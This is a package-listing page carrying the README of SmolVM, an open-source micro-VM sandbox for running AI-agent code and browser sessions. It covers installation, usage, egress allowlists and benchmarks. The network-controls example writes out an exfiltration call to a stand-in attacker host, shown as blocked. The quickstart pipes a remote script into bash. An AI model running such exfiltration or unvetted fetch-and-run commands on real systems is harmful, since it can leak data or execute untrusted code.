freshcrate
Home > Security > SmolVM

SmolVM

Open-source sandboxes for code execution, browser use, and AI agents.

Description

Open-source sandboxes for code execution, browser use, and AI agents.

README

SmolVM

Secure, isolated computers that AI agents can use to browse, run code, and get real work done.

CodeQL Run Tests License Python 3.10+

Quick start โ€ข Examples โ€ข Features โ€ข Performance โ€ข Docs โ€ข Community Slack


SmolVM gives AI agents their own disposable computer. Each sandbox is a lightweight virtual machine that boots in seconds, runs any code or command you throw at it, and disappears when you're done โ€” nothing touches your host.

Features

  • Sub-second boot โ€” VMs ready in ~500 ms.
  • Hardware isolation โ€” Stronger security than containers.
  • Network controls โ€” Domain allowlists for egress filtering.
  • Browser sessions โ€” Full browser agents can see and control.
  • Snapshots โ€” Save and restore VM state instantly.
  • OpenClaw โ€” GUI Linux apps inside a sandbox.

Use cases

  • Run untrusted code safely. Execute AI-generated code in an isolated sandbox instead of on your machine.
  • Give agents a browser. Spin up a full browser session that agents can see and control in real time.
  • Keep state across turns. Reuse the same sandbox throughout a multi-step workflow.

Quickstart

Install SmolVM with a single command:

curl -sSL https://celesto.ai/install.sh | bash

This installs everything you need (including Python tooling), configures your machine, and verifies the setup.

Manual installation
pip install smolvm
smolvm setup
smolvm doctor

Linux may prompt for sudo during setup so it can install host dependencies and configure runtime permissions.

Start a sandbox in Python

from smolvm import SmolVM

with SmolVM() as vm:
    result = vm.run("echo 'Hello from the sandbox!'")
    print(result.stdout.strip())

The with block creates a sandbox, runs your command inside it, and tears the sandbox down automatically when the block exits.

Start a sandbox from the CLI

Create a sandbox, check that it's running, then stop it:

smolvm create --name my-sandbox
# my-sandbox  running  172.16.0.2

smolvm list
# NAME         STATUS   IP
# my-sandbox   running  172.16.0.2

smolvm stop my-sandbox

Open a shell inside a running sandbox:

smolvm ssh my-sandbox

Browser sessions

SmolVM can also start a full browser inside a sandbox. This is useful when agents need to navigate websites, fill out forms, or take screenshots.

Start a browser session with a live view you can watch in your own browser:

smolvm browser start --live
# Session:   sess_a1b2c3
# Live view: http://localhost:6080

Open the URL to watch the browser in real time. When you're done, list and stop sessions:

smolvm browser list
smolvm browser stop sess_a1b2c3

See examples/browser_session.py for the Python equivalent.

Network controls

By default, sandboxes have full internet access. You can restrict which domains a sandbox can reach by passing internet_settings:

from smolvm import SmolVM

vm = SmolVM(internet_settings={
    "allowed_domains": ["https://api.openai.com"],
})

vm.run("curl https://api.openai.com/v1/models")    # allowed
vm.run("curl https://evil.com/exfiltrate")         # blocked

See docs/concepts/network-egress-controls.md for how it works under the hood.

Examples

Getting started

What you'll learn Example
Run code in a sandbox quickstart_sandbox.py
Start a browser session browser_session.py
Pass environment variables into a sandbox env_injection.py

Agent framework integrations

These examples show how to wrap SmolVM as a tool for popular agent frameworks, so an AI model can run shell commands or drive a browser through your sandbox.

Framework Example
OpenAI Agents openai_agents_tool.py
LangChain langchain_tool.py
PydanticAI โ€” shell tool pydanticai_tool.py
PydanticAI โ€” reusable sandbox across turns pydanticai_reusable_tool.py
PydanticAI โ€” browser automation pydanticai_agent_browser.py
Computer use (click and type) computer_use_browser.py

Advanced

What it does Example
Install and run OpenClaw inside a Debian sandbox with a 4 GB root filesystem openclaw.py

Each script shows its own pip install ... line when it needs extra packages.

Security

SmolVM automatically trusts new sandboxes on first connection to keep setup simple. This is safe for local development, but you should not expose sandbox network ports publicly without extra controls. See SECURITY.md for the full policy and scope.

Performance

Median lifecycle timings on a standard Linux host:

Phase Time
Create + Start ~572 ms
Ready to accept commands ~2.1 s
Command execution ~43 ms
Stop + Delete ~751 ms
Full lifecycle (boot, run, teardown) ~3.5 s

Run the benchmark yourself:

python3 scripts/benchmarks/bench_subprocess.py --vms 10 -v

Measured on AMD Ryzen 7 7800X3D (8C/16T), Ubuntu Linux. SmolVM uses Firecracker, a lightweight virtual machine manager built for running thousands of secure, fast micro-VMs.

Contributing

See CONTRIBUTING.md to get started.

License

Apache 2.0 โ€” see LICENSE for details.


Built with ๐Ÿงก in London by Celesto AI

Release History

VersionChangesUrgencyDate
v0.0.10## What's Changed * refactor: group modules into runtime/host/images/cli subpackages by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/163 * feat: boot --os debian from prebuilt cloud image, no host Docker by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/164 * Bump version to 0.0.10a0 by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/165 * ci: relax release preflight to decouple smolvm and smolvm-core by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pHigh4/19/2026
v0.0.9## What's Changed * docs: document --skip-deps flag in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/139 * fix: pass --skip-deps to smolvm setup in install script by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/140 * feat: add virtio-vsock support for Firecracker VMs by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/141 * feat: PyO3 Rust extension for fast network operations by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/144High4/13/2026
v0.0.8## What's Changed * feat: block-level CoW rootfs for faster VM startup by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/115 * fix: fall back to default SmolVM key when smolvm ssh has no key configured by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/117 * feat: add S3-backed image registry support (Phase 2a) by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/118 * feat: support S3-compatible stores via SMOLVM_S3_* env vars by @aniketmaurya in https://github.High4/10/2026
v0.0.7## What's Changed * Add extras for agent tool examples by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/81 * Reframe README around agent use cases by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/82 * Add PydanticAI agent-browser example by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/83 * Fix PydanticAI example imports in CI by @aniketmaurya in https://github.com/CelestoAI/SmolVM/pull/84 * remove-artificats by @aniketmaurya in https://github.com/CelestoHigh4/5/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

cuaOpen-source infrastructure for Computer-Use Agents. Sandboxes, SDKs, and benchmarks to train and evaluate AI agents that can control full desktops (macOS, Linux, Windows).computer-server-v0.3.39
OpenSandboxSecure, Fast, and Extensible Sandbox runtime for AI agents.docker/execd/v1.0.13
runtmOpen-source sandboxes where coding agents build and deploy. Spin up isolated environments where Claude Code, Cursor, and other agents code and deploy software.0.0.0
langchain-sandboxSafely run untrusted Python code using Pyodide and Denolangchain_sandbox==0.0.6
vm0the easiest way to run natural language-described workflows automaticallyapp-v0.274.0